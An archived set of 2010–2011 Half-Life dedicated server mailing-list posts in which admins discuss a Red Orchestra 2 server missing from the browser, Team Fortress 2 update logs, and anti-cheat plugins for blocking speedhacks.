 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošic
Sent: Friday, September 16, 2011 4:26 AM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] RO2 server not showing in game browser - accessible
through console.

 

I need my coffee. so many grammar mistakes.
Anyway any input is appreciated.

 

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Goran Udošić
Sent: Friday, September 16, 2011 10:14 AM
To: hlds@list.valvesoftware.com
Subject: [hlds] RO2 server not showing in game browser - accessible through
console.

 

Does anyone have any input why newly created game server is not showing in
game or steam browser?
What's even more insane I can connect to it my executing open
xxx.xxx.xxx.xxx while using in-game console.

The command line used to start the game server is as follows:

rogame.exe FF-Barracks?MinPlayers=0?MaxPlayers=32 -seekfreeloadingserver
-multihome=xxx.xxx.xxx.xxx -port= -log=ServerLog.log


Any input is appreciated.

Kind regards,
 <mailto:go...@diabolic-servers.com> Goran Udošić

Inflexus d.o.o

 <http://www.diabolic-servers.com/> www.diabolic-servers.com
supp...@diabolic-servers.com

msn: custom...@diabolic-servers.com

 

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Re: [hlds] [TWI Serveradmins] RO2 Beta Server Update Released - Fix for servers not showing in the browser

2011-09-05 Thread Lane Eckley
Perfect, thanks!

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

 

 

From: serveradmins-boun...@list.tripwireinteractive.com
[mailto:serveradmins-boun...@list.tripwireinteractive.com] On Behalf Of John
Gibson
Sent: Monday, September 05, 2011 2:03 PM
To: Half-Life dedicated Win32 server mailing list
Cc: serveradm...@list.tripwireinteractive.com
Subject: Re: [TWI Serveradmins] [hlds] RO2 Beta Server Update Released - Fix
for servers not showing in the browser

 

No, we only fixed the servers not showing in the browser. 

On Mon, Sep 5, 2011 at 1:55 PM, Lane Eckley  wrote:

Were any changes made to the ini's for this update?

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600  

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

 

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of John Gibson
Sent: Monday, September 05, 2011 1:37 PM
To: serveradm...@list.tripwireinteractive.com; Half-Life dedicated Win32
server mailing list
Subject: [hlds] RO2 Beta Server Update Released - Fix for servers not
showing in the browser

 

We have just released an update for the RO2 Beta server files which fixes
the problem with servers not appearing in the browser after the last update.
It is not a required update (clients can still connect without it), but I
highly recommend everyone update, as people won't join your server if they
can't see it in the list :)

Thanks,

John


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Re: [hlds] RO2 Beta Server Update Released - Fix for servers not showing in the browser

2011-09-05 Thread Lane Eckley
Were any changes made to the ini's for this update?

 

Lane Eckley

Hypernia Hosting Corp

Desk: 1.305.390.2124
Toll Free: 1.800.284.6978 ext. 600

 <http://www.hypernia.com/> http://www.hypernia.com

 <mailto:l...@hypernia.com> l...@hypernia.com 

Confidentiality Note:  The information contained in this transmission is
legally privileged and confidential, intended only for the use of the
individual or entity named above. If the reader of this message is not the
intended recipient, you are hereby notified that any dissemination,
distribution, or copying of this communication is strictly prohibited.
Thank you.

 

 

 

From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of John Gibson
Sent: Monday, September 05, 2011 1:37 PM
To: serveradm...@list.tripwireinteractive.com; Half-Life dedicated Win32
server mailing list
Subject: [hlds] RO2 Beta Server Update Released - Fix for servers not
showing in the browser

 

We have just released an update for the RO2 Beta server files which fixes
the problem with servers not appearing in the browser after the last update.
It is not a required update (clients can still connect without it), but I
highly recommend everyone update, as people won't join your server if they
can't see it in the list :)

Thanks,

John

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Re: [hlds] Team Fortress 2 Update Released

2010-08-20 Thread Lane Eckley
Looks like a small update:

Checking bootstrapper version ...
Updating Installation
Updating 'Team Fortress 2 Content' from version 164 to version 165

15.73% downloading /orangebox\tf\bin\server.dll
40.39% downloading /orangebox\tf\bin\server.dylib
82.83% downloading /orangebox\tf\bin\server.so
99.87% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
99.88% downloading /orangebox\tf\models\props_gameplay\ball001.dx90.vtx
99.89% downloading /orangebox\tf\models\props_gameplay\ball001.mdl
99.93% downloading /orangebox\tf\models\props_gameplay\ball001.phy
99.99% downloading /orangebox\tf\models\props_gameplay\ball001.vvd
100.00% downloading /orangebox\tf\scripts\surfaceproperties_tf.txt

Updating 'Team Fortress 2 Materials' from version 68 to version 69

100.00% downloading
/orangebox\tf\materials\models\props_gameplay\ball001.vmt
100.00% downloading
/orangebox\tf\materials\models\props_gameplay\ball001_birthday.vmt

Checking/Installing 'Base Source Shared Materials' version 8
Checking/Installing 'Base Source Shared Models' version 4
Checking/Installing 'Base Source Shared Sounds' version 4
Checking/Installing 'OB Dedicated Server' version 57
HLDS installation up to date

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of 1nsane
Sent: Saturday, August 21, 2010 1:12 AM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Released

"Checking bootstrapper version ...
Updating Installation
Command aborted"

Well if you say so.

Doesn't seem like its actually required? Server's don't say their out of
date.


On Sat, Aug 21, 2010 at 1:05 AM, Emil Larsson  wrote:

> Has been? How did it die? ;)
>
> On Sat, Aug 21, 2010 at 7:00 AM, Alfred Reynolds
> wrote:
>
> > A required update to the Team Fortress 2 has been.  Please run
> > hldsupdatetool to receive the update.  The specific changes include:
> >
> > - Fixed bug with holiday date computation that turned on Birthday Mode a
> > few days too soon.
> >
> > ___
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> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
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Re: [hlds] [hlds_linux] Team Fortress 2/Counter-Strike: Source and Day of Defeat: Source Update Released

2010-08-17 Thread Lane Eckley
Update log for TF2:

Checking bootstrapper version ...
Updating Installation
Updating 'Team Fortress 2 Content' from version 163 to version 164

2.51% downloading /orangebox\tf\bin\server.dll
6.46% downloading /orangebox\tf\bin\server.dylib
13.15% downloading /orangebox\tf\bin\server.so
15.87% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
15.92% downloading /orangebox\tf\maps\soundcache\pl_thundermountain.manifest
15.97% downloading /orangebox\tf\maps\soundcache\pl_upward.manifest
16.01% downloading /orangebox\tf\maps\soundcache\plr_hightower.manifest
16.06% downloading /orangebox\tf\maps\soundcache\plr_pipeline.manifest
20.00% downloading /orangebox\tf\maps\pl_thundermountain.bsp
49.57% downloading /orangebox\tf\maps\pl_upward.bsp
74.88% downloading /orangebox\tf\maps\plr_hightower.bsp
89.19% downloading /orangebox\tf\particles\flamethrower_dx80.pcf
89.20% downloading /orangebox\tf\resource\modevents.res
89.48% downloading /orangebox\tf\resource\tf_danish.txt
89.62% downloading /orangebox\tf\resource\tf_english.txt
89.90% downloading /orangebox\tf\resource\tf_finnish.txt
90.18% downloading /orangebox\tf\resource\tf_italian.txt
90.42% downloading /orangebox\tf\resource\tf_japanese.txt
90.66% downloading /orangebox\tf\resource\tf_korean.txt
90.90% downloading /orangebox\tf\resource\tf_koreana.txt
91.13% downloading /orangebox\tf\resource\tf_norwegian.txt
91.41% downloading /orangebox\tf\resource\tf_polish.txt
91.70% downloading /orangebox\tf\resource\tf_portuguese.txt
91.98% downloading /orangebox\tf\resource\tf_romanian.txt
92.24% downloading /orangebox\tf\resource\tf_russian.txt
92.52% downloading /orangebox\tf\resource\tf_swedish.txt
92.75% downloading /orangebox\tf\resource\tf_tchinese.txt
93.91% downloading /orangebox\tf\sound\ui\gamestartup10.mp3
93.91% downloading /orangebox\tf\steam.inf

Updating 'Team Fortress 2 Materials' from version 67 to version 68

93.91% downloading
/orangebox\tf\materials\models\player\items\all_class\all_halo.vmt
93.91% downloading
/orangebox\tf\materials\models\player\items\all_class\id_badge_gold.vmt
93.91% downloading
/orangebox\tf\materials\models\player\items\all_class\id_badge_platinum.vmt
93.91% downloading
/orangebox\tf\materials\models\player\items\all_class\id_badge_silver.vmt
93.91% downloading
/orangebox\tf\materials\models\player\items\all_class\parasite_skin.vmt
93.91% downloading
/orangebox\tf\materials\models\player\items\medic\medic_mirror.vmt
93.91% downloading
/orangebox\tf\materials\models\weapons\w_rocketlauncher\w_rocketlauncher01.v
mt

Checking/Installing 'Base Source Shared Materials' version 8
Checking/Installing 'Base Source Shared Models' version 4
Checking/Installing 'Base Source Shared Sounds' version 4
Updating 'OB Dedicated Server' from version 55 to version 57

94.21% downloading /orangebox\bin\adminserver.dll
94.28% downloading /orangebox\bin\crashhandler.dll
94.38% downloading /orangebox\bin\datacache.dll
94.72% downloading /orangebox\bin\dedicated.dll
96.21% downloading /orangebox\bin\engine.dll
96.26% downloading /orangebox\bin\inputsystem.dll
96.64% downloading /orangebox\bin\materialsystem.dll
96.67% downloading /orangebox\bin\scenefilecache.dll
96.71% downloading /orangebox\bin\shaderapiempty.dll
96.76% downloading /orangebox\bin\soundemittersystem.dll
96.82% downloading /orangebox\bin\stdshader_dbg.dll
96.91% downloading /orangebox\bin\stdshader_dx6.dll
96.98% downloading /orangebox\bin\stdshader_dx7.dll
97.12% downloading /orangebox\bin\stdshader_dx8.dll
97.32% downloading /orangebox\bin\stdshader_dx9.dll
99.03% downloading /orangebox\bin\steamclient.dll
99.20% downloading /orangebox\bin\studiorender.dll
99.31% downloading /orangebox\bin\tier0_s.dll
99.44% downloading /orangebox\bin\vgui2.dll
99.79% downloading /orangebox\bin\vphysics.dll
99.86% downloading /orangebox\bin\vstdlib.dll
100.00% downloading /orangebox\bin\vstdlib_s.dll

HLDS installation up to date


Lane Eckley
l...@gamerslifeline.com
www.GamersLifeLine.com

Need a faster response?
MSN: l...@gamerslifeline.com



-Original Message-
From: hlds_linux-boun...@list.valvesoftware.com
[mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Jason Ruymen
Sent: Tuesday, August 17, 2010 3:02 PM
To: 'Half-Life dedicated Linux server mailing list';
'hlds@list.valvesoftware.com'; 'hlds_annou...@list.valvesoftware.com'
Subject: [hlds_linux] Team Fortress 2/Counter-Strike: Source and Day of
Defeat: Source Update Released

Required updates to TF2/CSS and DODS are up now.  The specific changes
include:

Source Engine Changes (CS:S, DoD:S, TF2)
- The mat_hdr_level, r_rootlod, and r_waterforceexpensive settings are now
saved in the user's config file.
- Fixed clients being able to connect to servers with spoofed SteamIDs.
- Fixed a bug where some video configurations could get reset by restarting
the engine.
- Fixed materials compiled into a map not being loaded corre

Re: [hlds] TF2: Anti-cheat and detection

2010-08-02 Thread Lane Eckley
I am still seeing the same issue even disabled.

Thanks!

-Lane

On Mon, Aug 2, 2010 at 4:28 PM, AnAkIn .  wrote:

> Strange, a lot of people are using it without any issue.
>
> Try disabling the Anti Speedhack (db_anti_speedhack 0) and see if that
> solves the issue.
>
> 2010/8/2 Lane Eckley 
>
> > Hi Guys,
> >
> > Is anyone successfully using DBlocker on TF2? - I have it loaded, but
> once
> > the player joins the server they can load in, choose team, choose toon
> and
> > then it locks them. They just see a static screen of the map and the time
> > counts down as normal.
> >
> > After a few minutes they timeout.
> >
> > I am not seeing any errors in the server console or client console.
> >
> > Thanks guys!
> >
> > -Lane
> >
> > On Mon, Aug 2, 2010 at 2:00 PM, Lane Eckley 
> > wrote:
> >
> > > Thanks! Will check it out.
> > >
> > > -Lane
> > >
> > >
> > > On Mon, Aug 2, 2010 at 8:04 AM, HL-SDK Synths  > >wrote:
> > >
> > >> What is this general cheat you're talking about? It looks like
> dblocker
> > >> modifies settransmit, which is a very good step.
> > >>
> > >> On Aug 2, 2010 5:59 AM, "AnAkIn ."  wrote:
> > >>
> > >> DBlocker can block speedhacks, wallhacks, detect CVars, block
> > exploitable
> > >> files, and LSS.
> > >> http://dblocker.didrole.com/
> > >>
> > >> 2010/8/2 Kyle Sanderson 
> > >>
> > >>
> > >> > There is Kigen's Anti-Cheat plugin. However, it is not as mature is
> > >> > what you're asking for. KAC...
> > >> --
> > >> Best regards,
> > >> AnAkIn,
> > >> -
> > >> ESL EU TF2 Admin
> > >> http://www.esl.eu/eu/tf2
> > >>
> > >> ___
> > >> To unsubscribe, edit your list preferences, or view ...
> > >> ___
> > >> To unsubscribe, edit your list preferences, or view the list archives,
> > >> please visit:
> > >> http://list.valvesoftware.com/mailman/listinfo/hlds
> > >>
> > >
> > >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
>
>
>
> --
> Best regards,
> AnAkIn,
> -
> ESL EU TF2 Admin
> http://www.esl.eu/eu/tf2
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
___
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visit:
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Re: [hlds] TF2: Anti-cheat and detection

2010-08-02 Thread Lane Eckley
Hi Guys,

Is anyone successfully using DBlocker on TF2? - I have it loaded, but once
the player joins the server they can load in, choose team, choose toon and
then it locks them. They just see a static screen of the map and the time
counts down as normal.

After a few minutes they timeout.

I am not seeing any errors in the server console or client console.

Thanks guys!

-Lane

On Mon, Aug 2, 2010 at 2:00 PM, Lane Eckley  wrote:

> Thanks! Will check it out.
>
> -Lane
>
>
> On Mon, Aug 2, 2010 at 8:04 AM, HL-SDK Synths wrote:
>
>> What is this general cheat you're talking about? It looks like dblocker
>> modifies settransmit, which is a very good step.
>>
>> On Aug 2, 2010 5:59 AM, "AnAkIn ."  wrote:
>>
>> DBlocker can block speedhacks, wallhacks, detect CVars, block exploitable
>> files, and LSS.
>> http://dblocker.didrole.com/
>>
>> 2010/8/2 Kyle Sanderson 
>>
>>
>> > There is Kigen's Anti-Cheat plugin. However, it is not as mature is
>> > what you're asking for. KAC...
>> --
>> Best regards,
>> AnAkIn,
>> -
>> ESL EU TF2 Admin
>> http://www.esl.eu/eu/tf2
>>
>> ___
>> To unsubscribe, edit your list preferences, or view ...
>> ___
>> To unsubscribe, edit your list preferences, or view the list archives,
>> please visit:
>> http://list.valvesoftware.com/mailman/listinfo/hlds
>>
>
>
___
To unsubscribe, edit your list preferences, or view the list archives, please 
visit:
http://list.valvesoftware.com/mailman/listinfo/hlds


Re: [hlds] TF2: Anti-cheat and detection

2010-08-02 Thread Lane Eckley
Thanks! Will check it out.

-Lane

On Mon, Aug 2, 2010 at 8:04 AM, HL-SDK Synths  wrote:

> What is this general cheat you're talking about? It looks like dblocker
> modifies settransmit, which is a very good step.
>
> On Aug 2, 2010 5:59 AM, "AnAkIn ."  wrote:
>
> DBlocker can block speedhacks, wallhacks, detect CVars, block exploitable
> files, and LSS.
> http://dblocker.didrole.com/
>
> 2010/8/2 Kyle Sanderson 
>
>
> > There is Kigen's Anti-Cheat plugin. However, it is not as mature is
> > what you're asking for. KAC...
> --
> Best regards,
> AnAkIn,
> -
> ESL EU TF2 Admin
> http://www.esl.eu/eu/tf2
>
> ___
> To unsubscribe, edit your list preferences, or view ...
> ___
> To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> http://list.valvesoftware.com/mailman/listinfo/hlds
>
___
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[hlds] TF2: Anti-cheat and detection

2010-08-01 Thread Lane Eckley
Hi Guys,

Does anyone have any suggestions of SoureMOD plugins or other mods that can
help combat against the general cheat flying around for TF2 as of late? We
are seeing an ever expanding number of speedhacks and would like to at least
solve that if possible.

Beyond that, I am also looking for suggestions on how to detect a hack for
the bullet spread, we are seeing some heavies sniping people out across the
map but have no real way to prove they are actually hacking and not just
getting some ridiculously good shots.

Thanks ahead of time for any suggestions!

-Lane
___
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Re: [hlds] Team Fortress 2 Update Available

2010-07-19 Thread Lane Eckley
TF2 Update (Updated Files From Today Only, NOT Full Install)

Link: http://www.gamerslifeline.com/download-team-fortress-2-windows/

(I have servers running with SourceMod etc. all without any apparent issue -
in case someone sees an issue)

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Michael Krasnow
Sent: Monday, July 19, 2010 9:17 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

not getting the hat i was promised by the achievements window

On Mon, Jul 19, 2010 at 9:10 PM, Lane Eckley  wrote:

> Confirmed it on a few servers I updated, all the same.
>
> I will have the touched files available here in minute.
>
> -Lane
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jeff Sugar
> Sent: Monday, July 19, 2010 9:08 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Available
>
> Thanks for posting that, now I know I've got everything. I got the winsock
> error at the end so I wasn't sure if it had finished.
>
>
> On Mon, Jul 19, 2010 at 6:04 PM, Lane Eckley  wrote:
>
> > Looks like we are getting the following:
> >
> > Checking bootstrapper version ...
> > Updating Installation
> > Updating 'Team Fortress 2 Content' from version 161 to version 162
> >
> > 10.61% downloading /orangebox\tf\bin\server.dll
> > 27.27% downloading /orangebox\tf\bin\server.dylib
> > 55.54% downloading /orangebox\tf\bin\server.so
> > 67.02% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
> > 67.05% downloading
> > /orangebox\tf\models\player\items\all_class\parasite_hat.dx90.vtx
> > 67.06% downloading
> > /orangebox\tf\models\player\items\all_class\parasite_hat.mdl
> > 67.07% downloading
> > /orangebox\tf\models\player\items\all_class\parasite_hat.phy
> > 67.16% downloading
> > /orangebox\tf\models\player\items\all_class\parasite_hat.vvd
> > 68.35% downloading /orangebox\tf\resource\tf_danish.txt
> > 68.93% downloading /orangebox\tf\resource\tf_english.txt
> > 70.09% downloading /orangebox\tf\resource\tf_finnish.txt
> > 71.28% downloading /orangebox\tf\resource\tf_italian.txt
> > 72.30% downloading /orangebox\tf\resource\tf_japanese.txt
> > 73.31% downloading /orangebox\tf\resource\tf_korean.txt
> > 74.32% downloading /orangebox\tf\resource\tf_koreana.txt
> > 75.27% downloading /orangebox\tf\resource\tf_norwegian.txt
> > 76.48% downloading /orangebox\tf\resource\tf_polish.txt
> > 77.68% downloading /orangebox\tf\resource\tf_portuguese.txt
> > 78.89% downloading /orangebox\tf\resource\tf_romanian.txt
> > 79.93% downloading /orangebox\tf\resource\tf_russian.txt
> > 81.03% downloading /orangebox\tf\resource\tf_swedish.txt
> > 82.01% downloading /orangebox\tf\resource\tf_tchinese.txt
> > 82.29% downloading /orangebox\tf\scripts\items\items_game.txt
> > 82.47% downloading /orangebox\tf\scripts\gamehaptics.txt
> > 82.47% downloading /orangebox\tf\steam.inf
> >
> > Updating 'Team Fortress 2 Materials' from version 66 to version 67
> >
> > 82.47% downloading
> > /orangebox\tf\materials\backpack\player\items\all_class\parasite_hat.vmt
> > 82.47% downloading
> >
> >
>
>
/orangebox\tf\materials\backpack\player\items\all_class\parasite_hat_large.v
> > mt
> > 82.47% downloading
> > /orangebox\tf\materials\models\player\items\all_class\parasite_skin.vmt
> >
> > Checking/Installing 'Base Source Shared Materials' version 8
> >
> >
> > Checking/Installing 'Base Source Shared Models' version 4
> >
> >
> > Checking/Installing 'Base Source Shared Sounds' version 4
> >
> >
> > Updating 'OB Dedicated Server' from version 52 to version 53
> >
> > 83.73% downloading /orangebox\bin\adminserver.dll
> > 84.12% downloading /orangebox\bin\datacache.dll
> > 85.58% downloading /orangebox\bin\dedicated.dll
> > 91.88% downloading /orangebox\bin\engine.dll
> > 92.06% downloading /orangebox\bin\inputsystem.dll
> > 93.68% downloading /orangebox\bin\materialsystem.dll
> > 93.82% downloading /orangebox\bin\scenefilecache.dll
> > 93.97% downloading /orangebox\bin\shaderapiempty.dll
> > 94.18% downloading /orangebox\bin\soundemittersystem.dll
> > 94.45% downloading /orangebox\bin\stdshader_dbg.dll
> > 94.83% downloading /orangebox\bin\stdshader_dx6.dll
> > 95.12% downloading /orangebox\bin\stdshader_dx7.dll
> > 95.70% downloading /or

Re: [hlds] Team Fortress 2 Update Available

2010-07-19 Thread Lane Eckley
Confirmed it on a few servers I updated, all the same.

I will have the touched files available here in minute.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jeff Sugar
Sent: Monday, July 19, 2010 9:08 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Thanks for posting that, now I know I've got everything. I got the winsock
error at the end so I wasn't sure if it had finished.


On Mon, Jul 19, 2010 at 6:04 PM, Lane Eckley  wrote:

> Looks like we are getting the following:
>
> Checking bootstrapper version ...
> Updating Installation
> Updating 'Team Fortress 2 Content' from version 161 to version 162
>
> 10.61% downloading /orangebox\tf\bin\server.dll
> 27.27% downloading /orangebox\tf\bin\server.dylib
> 55.54% downloading /orangebox\tf\bin\server.so
> 67.02% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
> 67.05% downloading
> /orangebox\tf\models\player\items\all_class\parasite_hat.dx90.vtx
> 67.06% downloading
> /orangebox\tf\models\player\items\all_class\parasite_hat.mdl
> 67.07% downloading
> /orangebox\tf\models\player\items\all_class\parasite_hat.phy
> 67.16% downloading
> /orangebox\tf\models\player\items\all_class\parasite_hat.vvd
> 68.35% downloading /orangebox\tf\resource\tf_danish.txt
> 68.93% downloading /orangebox\tf\resource\tf_english.txt
> 70.09% downloading /orangebox\tf\resource\tf_finnish.txt
> 71.28% downloading /orangebox\tf\resource\tf_italian.txt
> 72.30% downloading /orangebox\tf\resource\tf_japanese.txt
> 73.31% downloading /orangebox\tf\resource\tf_korean.txt
> 74.32% downloading /orangebox\tf\resource\tf_koreana.txt
> 75.27% downloading /orangebox\tf\resource\tf_norwegian.txt
> 76.48% downloading /orangebox\tf\resource\tf_polish.txt
> 77.68% downloading /orangebox\tf\resource\tf_portuguese.txt
> 78.89% downloading /orangebox\tf\resource\tf_romanian.txt
> 79.93% downloading /orangebox\tf\resource\tf_russian.txt
> 81.03% downloading /orangebox\tf\resource\tf_swedish.txt
> 82.01% downloading /orangebox\tf\resource\tf_tchinese.txt
> 82.29% downloading /orangebox\tf\scripts\items\items_game.txt
> 82.47% downloading /orangebox\tf\scripts\gamehaptics.txt
> 82.47% downloading /orangebox\tf\steam.inf
>
> Updating 'Team Fortress 2 Materials' from version 66 to version 67
>
> 82.47% downloading
> /orangebox\tf\materials\backpack\player\items\all_class\parasite_hat.vmt
> 82.47% downloading
>
>
/orangebox\tf\materials\backpack\player\items\all_class\parasite_hat_large.v
> mt
> 82.47% downloading
> /orangebox\tf\materials\models\player\items\all_class\parasite_skin.vmt
>
> Checking/Installing 'Base Source Shared Materials' version 8
>
>
> Checking/Installing 'Base Source Shared Models' version 4
>
>
> Checking/Installing 'Base Source Shared Sounds' version 4
>
>
> Updating 'OB Dedicated Server' from version 52 to version 53
>
> 83.73% downloading /orangebox\bin\adminserver.dll
> 84.12% downloading /orangebox\bin\datacache.dll
> 85.58% downloading /orangebox\bin\dedicated.dll
> 91.88% downloading /orangebox\bin\engine.dll
> 92.06% downloading /orangebox\bin\inputsystem.dll
> 93.68% downloading /orangebox\bin\materialsystem.dll
> 93.82% downloading /orangebox\bin\scenefilecache.dll
> 93.97% downloading /orangebox\bin\shaderapiempty.dll
> 94.18% downloading /orangebox\bin\soundemittersystem.dll
> 94.45% downloading /orangebox\bin\stdshader_dbg.dll
> 94.83% downloading /orangebox\bin\stdshader_dx6.dll
> 95.12% downloading /orangebox\bin\stdshader_dx7.dll
> 95.70% downloading /orangebox\bin\stdshader_dx8.dll
> 96.58% downloading /orangebox\bin\stdshader_dx9.dll
> 97.31% downloading /orangebox\bin\studiorender.dll
> 97.68% downloading /orangebox\bin\tier0.dll
> 98.24% downloading /orangebox\bin\vgui2.dll
> 99.72% downloading /orangebox\bin\vphysics.dll
> 100.00% downloading /orangebox\bin\vstdlib.dll
>
> -Lane
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jeff Sugar
> Sent: Monday, July 19, 2010 9:03 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Available
>
> You can try setting the region. I set mine to Japan, and it's downloading.
> Slowly, but it is. The Alien Swarm release has the servers hammered -- it
> was not a good idea to do a tf2 release the day they released alien swarm
>
> On Mon, Jul 19, 2010 at 5:56 PM, DontWannaName!
> wrote:
>
> > Im having trouble downloading. Its 10mb but the tool just doesnt want to
> > download anyth

Re: [hlds] Team Fortress 2 Update Available

2010-07-19 Thread Lane Eckley
Looks like we are getting the following:

Checking bootstrapper version ...
Updating Installation
Updating 'Team Fortress 2 Content' from version 161 to version 162

10.61% downloading /orangebox\tf\bin\server.dll
27.27% downloading /orangebox\tf\bin\server.dylib
55.54% downloading /orangebox\tf\bin\server.so
67.02% downloading /orangebox\tf\maps\graphs\ctf_2fort.ain
67.05% downloading
/orangebox\tf\models\player\items\all_class\parasite_hat.dx90.vtx
67.06% downloading
/orangebox\tf\models\player\items\all_class\parasite_hat.mdl
67.07% downloading
/orangebox\tf\models\player\items\all_class\parasite_hat.phy
67.16% downloading
/orangebox\tf\models\player\items\all_class\parasite_hat.vvd
68.35% downloading /orangebox\tf\resource\tf_danish.txt
68.93% downloading /orangebox\tf\resource\tf_english.txt
70.09% downloading /orangebox\tf\resource\tf_finnish.txt
71.28% downloading /orangebox\tf\resource\tf_italian.txt
72.30% downloading /orangebox\tf\resource\tf_japanese.txt
73.31% downloading /orangebox\tf\resource\tf_korean.txt
74.32% downloading /orangebox\tf\resource\tf_koreana.txt
75.27% downloading /orangebox\tf\resource\tf_norwegian.txt
76.48% downloading /orangebox\tf\resource\tf_polish.txt
77.68% downloading /orangebox\tf\resource\tf_portuguese.txt
78.89% downloading /orangebox\tf\resource\tf_romanian.txt
79.93% downloading /orangebox\tf\resource\tf_russian.txt
81.03% downloading /orangebox\tf\resource\tf_swedish.txt
82.01% downloading /orangebox\tf\resource\tf_tchinese.txt
82.29% downloading /orangebox\tf\scripts\items\items_game.txt
82.47% downloading /orangebox\tf\scripts\gamehaptics.txt
82.47% downloading /orangebox\tf\steam.inf

Updating 'Team Fortress 2 Materials' from version 66 to version 67

82.47% downloading
/orangebox\tf\materials\backpack\player\items\all_class\parasite_hat.vmt
82.47% downloading
/orangebox\tf\materials\backpack\player\items\all_class\parasite_hat_large.v
mt
82.47% downloading
/orangebox\tf\materials\models\player\items\all_class\parasite_skin.vmt

Checking/Installing 'Base Source Shared Materials' version 8


Checking/Installing 'Base Source Shared Models' version 4


Checking/Installing 'Base Source Shared Sounds' version 4


Updating 'OB Dedicated Server' from version 52 to version 53

83.73% downloading /orangebox\bin\adminserver.dll
84.12% downloading /orangebox\bin\datacache.dll
85.58% downloading /orangebox\bin\dedicated.dll
91.88% downloading /orangebox\bin\engine.dll
92.06% downloading /orangebox\bin\inputsystem.dll
93.68% downloading /orangebox\bin\materialsystem.dll
93.82% downloading /orangebox\bin\scenefilecache.dll
93.97% downloading /orangebox\bin\shaderapiempty.dll
94.18% downloading /orangebox\bin\soundemittersystem.dll
94.45% downloading /orangebox\bin\stdshader_dbg.dll
94.83% downloading /orangebox\bin\stdshader_dx6.dll
95.12% downloading /orangebox\bin\stdshader_dx7.dll
95.70% downloading /orangebox\bin\stdshader_dx8.dll
96.58% downloading /orangebox\bin\stdshader_dx9.dll
97.31% downloading /orangebox\bin\studiorender.dll
97.68% downloading /orangebox\bin\tier0.dll
98.24% downloading /orangebox\bin\vgui2.dll
99.72% downloading /orangebox\bin\vphysics.dll
100.00% downloading /orangebox\bin\vstdlib.dll

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jeff Sugar
Sent: Monday, July 19, 2010 9:03 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

You can try setting the region. I set mine to Japan, and it's downloading.
Slowly, but it is. The Alien Swarm release has the servers hammered -- it
was not a good idea to do a tf2 release the day they released alien swarm

On Mon, Jul 19, 2010 at 5:56 PM, DontWannaName!
wrote:

> Im having trouble downloading. Its 10mb but the tool just doesnt want to
> download anything, no retry message either. :(
>
> On Mon, Jul 19, 2010 at 5:34 PM, Jason Ruymen  >wrote:
>
> > A required update for Team Fortress 2 is now available.  The specific
> > changes include:
> >
> > Team Fortress 2
> >  - Added a Parasite hat to celebrate the release of Alien Swarm (
> > http://www.alienswarm.com/)
> >  - Fixed a client crash when opening the backpack while running in a
> > language other than English.
> >  - Fixed not being able to pick-up buildings in Arena mode.
